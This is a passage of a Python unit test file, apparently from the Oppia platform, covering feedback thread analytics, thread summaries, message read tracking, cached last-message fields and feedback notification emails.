self.assertEqual(feedback_services.get_total_open_threads(\n feedback_services.get_thread_analytics_multi(\n [self.EXP_ID_1])), 0)\n\n def test_get_total_open_threads_for_single_exploration(self):\n feedback_services.create_thread(\n 'exploration', self.EXP_ID_1, None,\n self.EXPECTED_THREAD_DICT['subject'], 'not used here')\n\n threads = feedback_services.get_all_threads(\n 'exploration', self.EXP_ID_1, False)\n self.assertEqual(1, len(threads))\n\n self._run_computation()\n self.assertEqual(feedback_services.get_total_open_threads(\n feedback_services.get_thread_analytics_multi(\n [self.EXP_ID_1])), 1)\n\n def test_get_total_open_threads_for_multiple_explorations(self):\n feedback_services.create_thread(\n 'exploration', self.EXP_ID_1, None,\n self.EXPECTED_THREAD_DICT['subject'], 'not used here')\n feedback_services.create_thread(\n 'exploration', self.EXP_ID_2, None,\n self.EXPECTED_THREAD_DICT['subject'], 'not used here')\n\n threads_exp_1 = feedback_services.get_all_threads(\n 'exploration', self.EXP_ID_1, False)\n self.assertEqual(1, len(threads_exp_1))\n threads_exp_2 = feedback_services.get_all_threads(\n 'exploration', self.EXP_ID_2, False)\n self.assertEqual(1, len(threads_exp_2))\n\n def _close_thread(thread_id):\n \"\"\"Closes the thread corresponding to its thread id by updating its\n status.\n \"\"\"\n thread = feedback_models.GeneralFeedbackThreadModel.get_by_id(\n thread_id)\n thread.status = feedback_models.STATUS_CHOICES_FIXED\n thread.put()\n\n _close_thread(threads_exp_1[0].id)\n\n self.assertEqual(len(feedback_services.get_closed_threads(\n 'exploration', self.EXP_ID_1, False)), 1)\n self._run_computation()\n\n self.assertEqual(feedback_services.get_total_open_threads(\n feedback_services.get_thread_analytics_multi(\n [self.EXP_ID_1, self.EXP_ID_2])), 1)\n\n def test_get_thread_summaries(self):\n feedback_services.create_thread(\n 'exploration', self.EXP_ID_1, self.user_id,\n self.EXPECTED_THREAD_DICT['subject'], 'not used here')\n feedback_services.create_thread(\n 'exploration', self.EXP_ID_2, self.user_id,\n self.EXPECTED_THREAD_DICT['subject'], 'not used here')\n\n # The message count parameter is missing for this thread. The thread\n # summaries function should account for this and function\n # flawlessly.\n thread_3 = feedback_models.GeneralFeedbackThreadModel(\n id='exploration.' + self.EXP_ID_3 + '.' + self.THREAD_ID,\n entity_type='exploration', entity_id=self.EXP_ID_3,\n original_author_id=self.user_id, subject='Feedback',\n status=feedback_models.STATUS_CHOICES_OPEN, message_count=0,\n has_suggestion=False)\n thread_3.put()\n feedback_services.create_message(\n 'exploration.' + self.EXP_ID_3 + '.' + self.THREAD_ID,\n self.user_id, None, None, 'not used here')\n\n thread_ids = subscription_services.get_all_threads_subscribed_to(\n self.user_id)\n thread_ids.append('exploration.' + self.EXP_ID_3 + '.' + self.THREAD_ID)\n thread_summaries, number_of_unread_threads = (\n feedback_services.get_exp_thread_summaries(\n self.user_id, thread_ids))\n exploration_titles = (\n ['Bridges in England', 'Sillat Suomi', 'Leaning tower of Pisa'])\n\n # Fetch the threads.\n threads = []\n threads.append(feedback_services.get_thread(thread_ids[0]))\n threads.append(feedback_services.get_thread(thread_ids[1]))\n threads.append(feedback_services.get_thread(\n 'exploration.' + self.EXP_ID_3 + '.' + self.THREAD_ID))\n # Check if the number of unread messages match.\n self.assertEqual(number_of_unread_threads, 0)\n for summary, thread, exploration_title in python_utils.ZIP(\n thread_summaries, threads, exploration_titles):\n self.assertEqual(summary.status, thread.status)\n self.assertEqual(\n summary.original_author_id, thread.original_author_id)\n self.assertEqual(summary.last_updated, thread.last_updated)\n self.assertEqual(summary.last_message_text, 'not used here')\n self.assertEqual(summary.total_message_count, 1)\n self.assertTrue(summary.last_message_is_read)\n self.assertFalse(summary.second_last_message_is_read)\n self.assertEqual(\n summary.author_last_message,\n user_services.get_username(self.user_id))\n self.assertIsNone(summary.author_second_last_message)\n self.assertEqual(summary.exploration_title, exploration_title)\n\n feedback_services.create_message(\n threads[0].id, self.owner_id, None, None, 'editor message')\n _, number_of_unread_threads = (\n feedback_services.get_exp_thread_summaries(\n self.user_id, thread_ids))\n\n # Check if the number of unread messages is equal to 1.\n self.assertEqual(number_of_unread_threads, 1)\n\n def test_get_thread_summaries_returns_correct_message_count(self):\n thread_id_1 = feedback_services.create_thread(\n 'exploration', self.EXP_ID_1, None,\n self.EXPECTED_THREAD_DICT['subject'], 'not used here')\n thread_id_2 = feedback_services.create_thread(\n 'exploration', self.EXP_ID_2, None,\n self.EXPECTED_THREAD_DICT['subject'], 'not used here')\n\n thread_summaries, _ = feedback_services.get_exp_thread_summaries(\n self.owner_id, [thread_id_1, thread_id_2])\n\n self.assertEqual(len(thread_summaries), 2)\n self.assertEqual(thread_summaries[0].total_message_count, 1)\n self.assertEqual(thread_summaries[1].total_message_count, 1)\n\n def test_get_thread_summaries_only_returns_threads_for_explorations(self):\n exp_thread_id = feedback_services.create_thread(\n 'exploration', self.EXP_ID_1, None, 'unused subject', 'unused text')\n skill_thread_id = feedback_services.create_thread(\n 'skill', 'skillid1', None, 'unused subject', 'unused text')\n\n thread_summaries, _ = feedback_services.get_exp_thread_summaries(\n self.owner_id, [exp_thread_id, skill_thread_id])\n\n self.assertEqual(len(thread_summaries), 1)\n self.assertEqual(\n thread_summaries[0].exploration_title, 'Bridges in England')\n\n def test_update_messages_read_by_the_user(self):\n feedback_services.create_thread(\n 'exploration', self.EXP_ID_1, self.user_id,\n self.EXPECTED_THREAD_DICT['subject'], 'not used here')\n threads = feedback_services.get_all_threads(\n 'exploration', self.EXP_ID_1, False)\n thread_id = threads[0].id\n\n messages = feedback_services.get_messages(thread_id)\n message_ids = [message.message_id for message in messages]\n\n # The viewer has not read in messages yet.\n self.assertEqual(self._get_all_messages_read(\n self.viewer_id, thread_id), [])\n\n feedback_services.update_messages_read_by_the_user(\n self.viewer_id, thread_id, message_ids)\n\n # Check if the message is added to the read section of the viewer.\n self.assertEqual(self._get_all_messages_read(\n self.viewer_id, thread_id), message_ids)\n\n def test_add_message_ids_to_read_by_list_adds_msgs_to_threads_in_order(\n self):\n \"\"\"Tests that the message_ids are being added to the correct feedback\n thread user model instances when when some of these models exist before\n the method is called and some do not.\n \"\"\"\n sample_message_ids = [1, 2, 3]\n sample_thread_ids = [\n 'sample_thread_id_1', 'sample_thread_id_2',\n 'sample_thread_id_3'\n ]\n # The GeneralFeedbackThreadUserModel is created for the\n # sample_thread_id_1 and sample_thread_id_3 thread ids.\n feedback_models.GeneralFeedbackThreadUserModel.create(\n self.user_id, sample_thread_ids[0])\n feedback_models.GeneralFeedbackThreadUserModel.create(\n self.user_id, sample_thread_ids[2])\n # Assert that no messages are read for any of the threads yet.\n for sample_thread_id in sample_thread_ids:\n self.assertEqual(\n self._get_all_messages_read(self.user_id, sample_thread_id),\n [])\n # Create a list of FullyQualifiedMessageIdentifier objects for the\n # sample_message_ids and sample_thread_ids.\n message_identifiers = []\n for sample_thread_id, sample_message_id in python_utils.ZIP(\n sample_thread_ids, sample_message_ids):\n message_identifiers.append(\n feedback_domain.FullyQualifiedMessageIdentifier(\n sample_thread_id, sample_message_id))\n\n # In the add_message_ids_to_read_by_list method, the\n # GeneralFeedbackUserModel is created for thread id\n # sample_thread_id_2.\n feedback_services.add_message_ids_to_read_by_list(\n self.user_id, message_identifiers)\n\n # Assert tht the message_ids were added to message_ids_read_by_user\n # property of the corresponding thread.\n for sample_thread_id, sample_message_id in python_utils.ZIP(\n sample_thread_ids, sample_message_ids):\n self.assertEqual(\n self._get_all_messages_read(self.user_id, sample_thread_id),\n [sample_message_id])\n\n def test_only_exploration_threads_trigger_events(self):\n exp_id = 'eid'\n self.save_new_valid_exploration(exp_id, 'owner')\n\n event_handler_call_counter_exploration = test_utils.CallCounter(\n event_services.FeedbackThreadCreatedEventHandler.record)\n with self.swap(\n event_services.FeedbackThreadCreatedEventHandler, 'record',\n event_handler_call_counter_exploration):\n feedback_services.create_thread(\n feconf.ENTITY_TYPE_EXPLORATION, exp_id,\n None, 'a subject', 'some text')\n\n self.assertEqual(\n event_handler_call_counter_exploration.times_called, 1)\n\n event_handler_call_counter_non_exploration = (\n test_utils.CallCounter(\n event_services.FeedbackThreadCreatedEventHandler.record))\n with self.swap(\n event_services.FeedbackThreadCreatedEventHandler, 'record',\n event_handler_call_counter_non_exploration):\n feedback_services.create_thread(\n 'topic', 'topic_id', None, 'a subject',\n 'some text')\n self.assertEqual(\n event_handler_call_counter_non_exploration.times_called, 0)\n\n def test_create_message_increments_message_count(self):\n thread_id = feedback_services.create_thread(\n 'exploration', self.EXP_ID_1, self.user_id,\n self.EXPECTED_THREAD_DICT['subject'], 'not used here')\n thread = feedback_models.GeneralFeedbackThreadModel.get(thread_id)\n self.assertEqual(thread.message_count, 1)\n feedback_services.create_message(\n thread_id, self.user_id,\n feedback_models.STATUS_CHOICES_FIXED, None, 'editor message')\n\n thread = feedback_models.GeneralFeedbackThreadModel.get(thread_id)\n self.assertEqual(thread.message_count, 2)\n\n def test_cache_update_after_create_thread_with_user_text(self):\n thread_id = feedback_services.create_thread(\n 'exploration', self.EXP_ID_1, self.user_id, 'subject',\n 'initial text')\n\n thread = feedback_models.GeneralFeedbackThreadModel.get(thread_id)\n self.assertEqual(thread.last_nonempty_message_text, 'initial text')\n self.assertEqual(thread.last_nonempty_message_author_id, self.user_id)\n\n def test_cache_update_after_create_thread_with_anon_text(self):\n thread_id = feedback_services.create_thread(\n 'exploration', self.EXP_ID_1, None, 'subject', 'initial text')\n\n thread = feedback_models.GeneralFeedbackThreadModel.get(thread_id)\n self.assertEqual(thread.last_nonempty_message_text, 'initial text')\n self.assertIsNone(thread.last_nonempty_message_author_id)\n\n def test_cache_update_after_create_message_with_user_text(self):\n thread_id = feedback_services.create_thread(\n 'exploration', self.EXP_ID_1, None, 'subject', 'initial text')\n\n thread = feedback_models.GeneralFeedbackThreadModel.get(thread_id)\n self.assertEqual(thread.last_nonempty_message_text, 'initial text')\n self.assertIsNone(thread.last_nonempty_message_author_id)\n\n feedback_services.create_message(\n thread_id, self.user_id, feedback_models.STATUS_CHOICES_FIXED, None,\n 'anonymous text')\n\n thread = feedback_models.GeneralFeedbackThreadModel.get(thread_id)\n self.assertEqual(thread.last_nonempty_message_text, 'anonymous text')\n self.assertEqual(thread.last_nonempty_message_author_id, self.user_id)\n\n def test_cache_update_after_create_message_with_anon_text(self):\n thread_id = feedback_services.create_thread(\n 'exploration', self.EXP_ID_1, self.user_id, 'subject',\n 'initial text')\n\n thread = feedback_models.GeneralFeedbackThreadModel.get(thread_id)\n self.assertEqual(thread.last_nonempty_message_text, 'initial text')\n self.assertEqual(thread.last_nonempty_message_author_id, self.user_id)\n\n feedback_services.create_message(\n thread_id, None, feedback_models.STATUS_CHOICES_FIXED, None,\n 'anonymous text')\n\n thread = feedback_models.GeneralFeedbackThreadModel.get(thread_id)\n self.assertEqual(thread.last_nonempty_message_text, 'anonymous text')\n self.assertIsNone(thread.last_nonempty_message_author_id)\n\n def test_no_cache_update_after_create_thread_with_empty_user_text(self):\n thread_id = feedback_services.create_thread(\n 'exploration', self.EXP_ID_1, self.user_id, 'subject', None)\n\n thread = feedback_models.GeneralFeedbackThreadModel.get(thread_id)\n self.assertIsNone(thread.last_nonempty_message_text)\n self.assertIsNone(thread.last_nonempty_message_author_id)\n\n def test_no_cache_update_after_create_thread_with_empty_anon_text(self):\n thread_id = feedback_services.create_thread(\n 'exploration', self.EXP_ID_1, None, 'subject', None)\n\n thread = feedback_models.GeneralFeedbackThreadModel.get(thread_id)\n self.assertIsNone(thread.last_nonempty_message_text)\n self.assertIsNone(thread.last_nonempty_message_author_id)\n\n def test_no_cache_update_after_create_message_with_empty_user_text(self):\n thread_id = feedback_services.create_thread(\n 'exploration', self.EXP_ID_1, None, 'subject', 'initial text')\n\n thread = feedback_models.GeneralFeedbackThreadModel.get(thread_id)\n self.assertEqual(thread.last_nonempty_message_text, 'initial text')\n self.assertIsNone(thread.last_nonempty_message_author_id)\n\n feedback_services.create_message(\n thread_id, self.user_id, feedback_models.STATUS_CHOICES_FIXED, None,\n None)\n\n thread = feedback_models.GeneralFeedbackThreadModel.get(thread_id)\n self.assertEqual(thread.last_nonempty_message_text, 'initial text')\n self.assertIsNone(thread.last_nonempty_message_author_id)\n\n def test_no_cache_update_after_create_message_with_empty_anon_text(self):\n thread_id = feedback_services.create_thread(\n 'exploration', self.EXP_ID_1, self.user_id, 'subject',\n 'initial text')\n\n thread = feedback_models.GeneralFeedbackThreadModel.get(thread_id)\n self.assertEqual(thread.last_nonempty_message_text, 'initial text')\n self.assertEqual(thread.last_nonempty_message_author_id, self.user_id)\n\n feedback_services.create_message(\n thread_id, None, feedback_models.STATUS_CHOICES_FIXED, None, None)\n\n thread = feedback_models.GeneralFeedbackThreadModel.get(thread_id)\n self.assertEqual(thread.last_nonempty_message_text, 'initial text')\n self.assertEqual(thread.last_nonempty_message_author_id, self.user_id)\n\n\nclass EmailsTaskqueueTests(test_utils.GenericTestBase):\n \"\"\"Tests for tasks in emails taskqueue.\"\"\"\n\n def test_create_new_batch_task(self):\n user_id = 'user'\n feedback_services.enqueue_feedback_message_batch_email_task(user_id)\n self.assertEqual(\n self.count_jobs_in_taskqueue(\n taskqueue_services.QUEUE_NAME_EMAILS),\n 1)\n\n tasks = self.get_pending_tasks(\n queue_name=taskqueue_services.QUEUE_NAME_EMAILS)\n self.assertEqual(\n tasks[0].url, feconf.TASK_URL_FEEDBACK_MESSAGE_EMAILS)\n\n def test_create_new_instant_task(self):\n user_id = 'user'\n reference_dict = {\n 'entity_type': 'exploration',\n 'entity_id': 'eid',\n 'thread_id': 'tid',\n 'message_id': 'mid'\n }\n reference = feedback_domain.FeedbackMessageReference(\n reference_dict['entity_type'], reference_dict['entity_id'],\n reference_dict['thread_id'], reference_dict['message_id'])\n\n feedback_services.enqueue_feedback_message_instant_email_task(\n user_id, reference)\n self.assertEqual(\n self.count_jobs_in_taskqueue(\n taskqueue_services.QUEUE_NAME_EMAILS),\n 1)\n\n tasks = self.get_pending_tasks(\n queue_name=taskqueue_services.QUEUE_NAME_EMAILS)\n self.assertEqual(\n tasks[0].url, feconf.TASK_URL_INSTANT_FEEDBACK_EMAILS)\n self.assertDictEqual(tasks[0].payload['reference_dict'], reference_dict)\n\n\nclass FeedbackMessageEmailTests(test_utils.EmailTestBase):\n \"\"\"Tests for feedback message emails.\"\"\"\n\n def setUp(self):\n super(FeedbackMessageEmailTests, self).setUp()\n self.signup('a@example.com', 'A')\n self.user_id_a = self.get_user_id_from_email('a@example.com')\n self.signup('b@example.com', 'B')\n self.user_id_b = self.get_user_id_from_email('b@example.com')\n self.signup(self.EDITOR_EMAIL, self.EDITOR_USERNAME)\n self.editor_id = self.get_user_id_from_email(self.EDITOR_EMAIL)\n self.exploration = self.save_new_default_exploration(\n 'A', self.editor_id, title='Title')\n self.can_send_emails_ctx = self.swap(\n feconf, 'CAN_SEND_EMAILS', True)\n self.can_send_feedback_email_ctx = self.swap(\n feconf, 'CAN_SEND_FEEDBACK_MESSAGE_EMAILS', True)\n\n def test_pop_feedback_message_references(self):\n with self.can_send_emails_ctx, self.can_send_feedback_email_ctx:\n feedback_services.create_thread(\n 'exploration', self.exploration.id,\n self.user_id_a, 'a subject', 'some text')\n threadlist = feedback_services.get_all_threads(\n 'exploration', self.exploration.id, False)\n thread_id = threadlist[0].id\n\n messagelist = feedback_services.get_messages(thread_id)\n self.assertEqual(len(messagelist), 1)\n\n feedback_services.pop_feedback_message_references(self.editor_id, 0)\n model = feedback_models.UnsentFeedbackEmailModel.get(\n self.editor_id, strict=False)\n self.assertEqual(\n len(model.feedback_message_references), 1)\n self.assertEqual(\n model.feedback_message_references[0]['thread_id'], thread_id)\n\n feedback_services.pop_feedback_message_references(self.editor_id, 1)\n model = feedback_models.UnsentFeedbackEmailModel.get(\n self.editor_id, strict=False)\n self.assertIsNone(model)\n\n def test_update_feedback_message_references(self):\n with self.can_send_emails_ctx, self.can_send_feedback_email_ctx:\n # There are no feedback message references to remove.\n self.assertIsNone(\n feedback_services.clear_feedback_message_references(\n self.editor_id, self.exploration.id, 'thread_id'))\n\n feedback_services.create_thread(\n 'exploration', self.exploration.id,\n self.user_id_a, 'a subject', 'some text')\n threadlist = feedback_services.get_all_threads(\n 'exploration', self.exploration.id, False)\n thread_id = threadlist[0].id\n\n messagelist = feedback_services.get_messages(thread_id)\n self.assertEqual(len(messagelist), 1)\n\n model = feedback_models.UnsentFeedbackEmailModel.get(\n self.editor_id)\n self.assertEqual(\n len(model.feedback_message_references), 1)\n self.assertEqual(\n model.feedback_message_references[0]['thread_id'], thread_id)\n\n feedback_services.clear_feedback_message_references(\n self.editor_id, self.exploration.id, 'new_thread_id')\n model = feedback_models.UnsentFeedbackEmailModel.get(\n self.editor_id)\n self.assertEqual(\n len(model.feedback_message_references), 1)\n self.assertEqual(\n model.feedback_message_references[0]['thread_id'],\n thread_id)\n\n def test_update_feedback_email_retries(self):\n with self.can_send_emails_ctx, self.can_send_feedback_email_ctx:\n feedback_services.create_thread(\n 'exploration', self.exploration.id,\n self.user_id_a, 'a subject', 'some text')\n\n model = feedback_models.UnsentFeedbackEmailModel.get(\n self.editor_id)\n self.assertEqual(model.retries, 0)\n\n with self.swap(\n feconf, 'DEFAULT_FEEDBACK_MESSAGE_EMAIL_COUNTDOWN_SECS', -1):\n feedback_services.update_feedback_email_retries(self.editor_id)\n\n model = feedback_models.UnsentFeedbackEmailModel.get(\n self.editor_id)\n self.assertEqual(model.retries, 1)\n\n def test_send_feedback_message_email(self):\n with self.can_send_emails_ctx, self.can_send_feedback_email_ctx:\n feedback_services.create_thread(\n 'exploration', self.exploration.id,\n self.user_id_a, 'a subject', 'some text')\n threadlist = feedback_services.get_all_threads(\n 'exploration', self.exploration.id, False)\n thread_id = threadlist[0].id\n\n messagelist = feedback_services.get_messages(thread_id)\n self.assertEqual(len(messagelist), 1)\n\n expected_feedback_message_dict = {\n 'entity_type': 'exploration',\n 'entity_id': self.exploration.id,\n 'thread_id': thread_id,\n 'message_id': messagelist[0].message_id\n }\n # There are two jobs in the taskqueue: one for the realtime\n # event associated with creating a thread, and one for sending\n # the email.\n self.assertEqual(\n self.count_jobs_in_taskqueue(\n taskqueue_services.QUEUE_NAME_EVENTS), 1)\n self.assertEqual(\n self.count_jobs_in_taskqueue(\n taskqueue_services.QUEUE_NAME_EMAILS), 1)\n model = feedback_models.UnsentFeedbackEmailModel.get(self.editor_id)\n\n self.assertEqual(len(model.feedback_message_references), 1)\n self.assertDictEqual(\n model.feedback_message_references[0],\n expected_feedback_message_dict)\n self.assertEqual(model.retries, 0)\n\n def test_add_new_feedback_message(self):\n with self.can_send_emails_ctx, self.can_send_feedback_email_ctx:\n feedback_services.create_thread(\n 'exploration', self.exploration.id,\n self.user_id_a, 'a subject', 'some text')\n threadlist = feedback_services.get_all_threads(\n 'exploration', self.exploration.id, False)\n thread_id = threadlist[0].id\n\n feedback_services.create_message(\n thread_id, self.user_id_a, None, None, 'editor message')\n # There are two jobs in the taskqueue: one for the realtime\n # event associated with creating a thread, and one for sending\n # the email.\n self.assertEqual(\n self.count_jobs_in_taskqueue(\n taskqueue_services.QUEUE_NAME_EVENTS), 1)\n self.assertEqual(\n self.count_jobs_in_taskqueue(\n taskqueue_services.QUEUE_NAME_EMAILS), 1)\n\n messagelist = feedback_services.get_messages(thread_id)\n self.assertEqual(len(messagelist), 2)\n\n expected_feedback_message_dict1 = {\n 'entity_type': 'exploration',\n 'entity_id': self.exploration.id,\n 'thread_id': thread_id,\n 'message_id': messagelist[0].message_id\n }\n expected_feedback_message_dict2 = {\n 'entity_type': 'exploration',\n 'entity_id': self.exploration.id,\n 'thread_id': thread_id,\n 'message_id': messagelist[1].message_id\n }\n\n model = feedback_models.UnsentFeedbackEmailModel.get(self.editor_id)\n\n self.assertEqual(len(model.feedback_message_references), 2)\n self.assertDictEqual(\n model.feedback_message_references[0],\n expected_feedback_message_dict1)\n self.assertDictEqual(\n model.feedback_message_references[1],\n expected_feedback_message_dict2)\n self.assertEqual(model.retries, 0)\n\n def test_email_is_not_sent_recipient_has_muted_emails_globally(self):\n user_services.update_email_preferences(\n self.editor_id, True, False, False, False)\n\n with self.can_send_emails_ctx, self.can_send_feedback_email_ctx:\n feedback_services.create_thread(\n 'exploration', self.exploration.id,\n self.user_id_a, 'a subject', 'some text')\n\n # Note: the job in the taskqueue represents the realtime\n # event emitted by create_thread().\n self.assertEqual(\n self.count_jobs_in_taskqueue(\n taskqueue_services.QUEUE_NAME_EVENTS), 1)\n self.process_and_flush_pending_tasks()\n messages = self._get_sent_email_messages(\n self.EDITOR_EMAIL)\n self.assertEqual(len(messages), 0)\n\n def test_email_is_not_sent_recipient_has_muted_this_exploration(self):\n user_services.set_email_preferences_for_exploration(\n self.editor_id, self.exploration.id,\n mute_feedback_notifications=True)\n\n with self.can_send_emails_ctx, self.can_send_feedback_email_ctx:\n feedback_services.create_thread(\n 'exploration', self.exploration.id,\n self.user_id_a, 'a subject', 'some text')\n\n # Note: the job in the taskqueue represents the realtime\n # event emitted by create_thread().\n self.assertEqual(\n self.count_jobs_in_taskqueue(\n taskqueue_services.QUEUE_NAME_EVENTS), 1)\n self.process_and_flush_pending_tasks()\n messages = self._get_sent_email_messages(\n self.EDITOR_EMAIL)\n self.assertEqual(len(messages), 0)\n\n def test_that_emails_are_not_sent_for_anonymous_user(self):\n with self.can_send_emails_ctx, self.can_send_feedback_email_ctx:\n feedback_services.create_thread(\n 'exploration', self.exploration.id, None,\n 'a subject', 'some text')\n\n # Note: the job in the taskqueue represents the realtime\n # event emitted by create_thread().\n self.assertEqual(\n self.count_jobs_in_taskqueue(\n taskqueue_services.QUEUE_NAME_EVENTS), 1)\n self.process_and_flush_pending_tasks()\n messages = self._get_sent_email_messages(\n self.EDITOR_EMAIL)\n self.assertEqual(len(messages), 0)\n\n def test_that_emails_are_sent_for_registered_user(self):\n with self.can_send_emails_ctx, self.can_send_feedback_email_ctx:\n feedback_services.create_thread(\n 'exploration', self.exploration.id,\n self.user_id_a, 'a subject', 'some text')\n\n # There are two jobs in the taskqueue: one for the realtime\n # event associated with creating a thread, and one for sending\n # the email.\n self.assertEqual(\n self.count_jobs_in_taskqueue(\n taskqueue_services.QUEUE_NAME_EVENTS), 1)\n self.assertEqual(\n self.count_jobs_in_taskqueue(\n taskqueue_services.QUEUE_NAME_EMAILS), 1)\n\n tasks = self.get_pending_tasks(\n queue_name=taskqueue_services.QUEUE_NAME_EMAILS)\n self.assertEqual(\n tasks[0].url, feconf.TASK_URL_FEEDBACK_MESSAGE_EMAILS)\n self.process_and_flush_pending_tasks()\n\n messages = self._get_sent_email_messages(\n self.EDITOR_EMAIL)\n self.assertEqual(len(messages), 1)\n\n def test_that_emails_are_not_sent_if_service_is_disabled(self):\n cannot_send_emails_ctx = self.swap(\n feconf, 'CAN_SEND_EMAILS', False)\n cannot_send_feedback_message_email_ctx = self.swap(\n feconf, 'CAN_SEND_FEEDBACK_MESSAGE_EMAILS', False)\n with cannot_send_emails_ctx, cannot_send_feedback_message_email_ctx:\n feedback_services.create_thread(\n 'exploration', self.exploration.id,\n self.user_id_a, 'a subject', 'some text')\n\n # Note: the job in the taskqueue represents the realtime\n # event emitted by create_thread().\n self.assertEqual(\n self.count_jobs_in_taskqueue(\n taskqueue_services.QUEUE_NAME_EVENTS), 1)\n self.process_and_flush_pending_tasks()\n messages = self._get_sent_email_messages(\n self.EDITOR_EMAIL)\n self.assertEqual(len(messages), 0)\n\n def test_that_emails_are_not_sent_for_thread_status_changes(self):\n with self.can_send_emails_ctx, self.can_send_feedback_email_ctx:\n feedback_services.create_thread(\n 'exploration', self.exploration.id,\n self.user_id_a, 'a subject', '')\n\n # Note: the job in the taskqueue represents the realtime\n # event emitted by create_thread().\n self.assertEqual(\n self.count_jobs_in_taskqueue(\n taskqueue_services.QUEUE_NAME_EVENTS), 1)\n self.process_and_flush_pending_tasks()\n messages = self._get_sent_email_messages(\n self.EDITOR_EMAIL)\n self.assertEqual(len(messages), 0)\n\n def test_that_email_are_not_sent_to_author_himself(self):\n with self.can_send_emails_ctx, self.can_send_feedback_email_ctx:\n feedback_services.create_thread(\n 'exploration', self.exploration.id,\n self.editor_id, 'a subject', 'A message')\n\n # Note: the job in the taskqueue represents the realtime\n # event emitted by create_thread().\n self.assertEqual(\n self.count_jobs_in_taskqueue(\n taskqueue_services.QUEUE_NAME_EVENTS), 1)\n self.process_and_flush_pending_tasks()\n messages = self._get_sent_email_messages(\n self.EDITOR_EMAIL)\n self.assertEqual(len(messages), 0)\n\n def test_that_email_is_sent_for_reply_on_feedback(self):\n with self.can_send_emails_ctx, self.can_send_feedback_email_ctx:\n feedback_services.create_thread(\n 'exploration', self.exploration.id,\n self.user_id_a, 'a subject', 'A message')\n # There are two jobs in the taskqueue: one for the realtime\n # event associated with creating a thread, and one for sending\n # the email.\n self.assertEqual(\n self.count_jobs_in_taskqueue(\n taskqueue_services.QUEUE_NAME_EMAILS), 1)\n self.assertEqual(\n self.count_jobs_in_taskqueue(\n taskqueue_services.QUEUE_NAME_EVENTS), 1)\n self.process_and_flush_pending_tasks()\n\n threadlist = feedback_services.get_all_threads(\n 'exploration', self.exploration.id, False)\n thread_id = threadlist[0].id\n\n feedback_services.create_message(\n thread_id, self.editor_id, None, None, 'editor message')\n self.assertEqual(\n self.count_jobs_in_taskqueue(\n taskqueue_services.QUEUE_NAME_EMAILS), 1)\n self.assertEqual(\n self.count_jobs_in_taskqueue(\n taskqueue_services.QUEUE_NAME_EVENTS), 0)\n self.process_and_flush_pending_tasks()\n\n def test_that_email_is_sent_for_changing_status_of_thread(self):\n with self.can_send_emails_ctx, self.can_send_feedback_email_ctx:\n feedback_services.create_thread(\n 'exploration', self.exploration.id,\n self.user_id_a, 'a subject', 'A message')\n # There are two jobs in the taskqueue: one for the realtime\n # event associated with creating a thread, and one for sending\n # the email.\n self.assertEqual(\n self.count_jobs_in_taskqueue(\n taskqueue_services.QUEUE_NAME_EMAILS), 1)\n self.assertEqual(\n self.count_jobs_in_taskqueue(\n taskqueue_services.QUEUE_NAME_EVENTS), 1)\n self.process_and_flush_pending_tasks()\n\n threadlist = feedback_services.get_all_threads(\n 'exploration', self.exploration.id, False)\n thread_id = threadlist[0].id\n\n feedback_services.create_message(\n thread_id, self.editor_id,\n feedback_models.STATUS_CHOICES_FIXED, None, '')\n # There are two jobs in the taskqueue: one for the realtime\n # event associated with changing subject of thread, and one for\n # sending the email.\n self.assertEqual(\n self.count_jobs_in_taskqueue(\n taskqueue_services.QUEUE_NAME_EMAILS), 1)\n self.assertEqual(\n self.count_jobs_in_taskqueue(\n taskqueue_services.QUEUE_NAME_EVENTS), 1)\n self.process_and_flush_pending_tasks()\n\n def test_that_email_is_sent_for_each_feedback_message(self):\n with self.can_send_emails_ctx, self.can_send_feedback_email_ctx:\n feedback_services.create_thread(\n 'exploration', self.exploration.id,\n self.user_id_a, 'a subject', 'A message')\n threadlist = feedback_services.get_all_threads(\n 'exploration', self.exploration.id, False)\n thread_id = threadlist[0].id\n # There are two jobs in the taskqueue: one for the realtime\n # event associated with creating a thread, and one for sending\n # the email.\n self.assertEqual(\n self.count_jobs_in_taskqueue(\n taskqueue_services.QUEUE_NAME_EMAILS), 1)\n self.assertEqual(\n self.count_jobs_in_taskqueue(\n taskqueue_services.QUEUE_NAME_EVENTS), 1)\n self.process_and_flush_pending_tasks()\n\n feedback_services.create_message(\n thread_id, self.editor_id, None, None, 'editor message')\n self.assertEqual(\n self.count_jobs_in_taskqueue(\n taskqueue_services.QUEUE_NAME_EMAILS), 1)\n self.assertEqual(\n self.count_jobs_in_taskqueue(\n taskqueue_services.QUEUE_NAME_EVENTS), 0)\n self.process_and_flush_pending_tasks()\n\n feedback_services.create_message(\n thread_id, self.editor_id, None, None, 'editor message2')\n self.assertEqual(\n self.count_jobs_in_taskqueue(\n taskqueue_services.QUEUE_NAME_EMAILS), 1)\n self.assertEqual(\n self.count_jobs_in_taskqueue(\n taskqueue_services.QUEUE_NAME_EVENTS), 0)\n self.process_and_flush_pending_tasks()\n\n def test_that_reply_to_id_is_created(self):\n with self.can_send_emails_ctx, self.can_send_feedback_email_ctx:\n feedback_services.create_thread(\n 'exploration', self.exploration.id,\n self.user_id_a, 'a subject', 'A message')\n threadlist = feedback_services.get_all_threads(\n 'exploration', self.exploration.id, False)\n thread_id = threadlist[0].id\n\n feedback_services.create_message(\n thread_id, self.user_id_b, None, None, 'user b message')\n # Check that reply_to id is created for user A.\n queried_object = (\n email_services\n .get_feedback_thread_reply_info_by_user_and_thread_ids(\n self.user_id_a, thread_id))\n self.assertEqual(queried_object.user_id, self.user_id_a)\n self.assertEqual(queried_object.thread_id, thread_id)\n\n feedback_services.create_message(\n thread_id, self.user_id_a, None, None, 'user a message')\n # Check that reply_to id is created for user B.\n queried_object = (\n email_services\n .get_feedback_thread_reply_info_by_user_and_thread_ids(\n self.user_id_b, thread_id))\n self.assertEqual(queried_object.user_id, self.user_id_b)\n self.assertEqual(queried_object.thread_id, thread_id)\n\n\nclass FeedbackMessageBatchEmailHandlerTests(test_utils.EmailTestBase):\n\n def setUp(self):\n super(FeedbackMessageBatchEmailHandlerTests, self).setUp()\n self.signup(self.EDITOR_EMAIL, self.EDITOR_USERNAME)\n self.editor_id = self.get_user_id_from_email(self.EDITOR_EMAIL)\n\n self.signup(self.NEW_USER_EMAIL, self.NEW_USER_USERNAME)\n self.new_user_id = self.get_user_id_from_email(self.NEW_USER_EMAIL)\n\n self.exploration = self.save_new_default_exploration(\n 'A', self.editor_id, title='Title')\n self.can_send_emails_ctx = self.swap(\n feconf, 'CAN_SEND_EMAILS', True)\n self.can_send_feedback_email_ctx = self.swap(\n feconf, 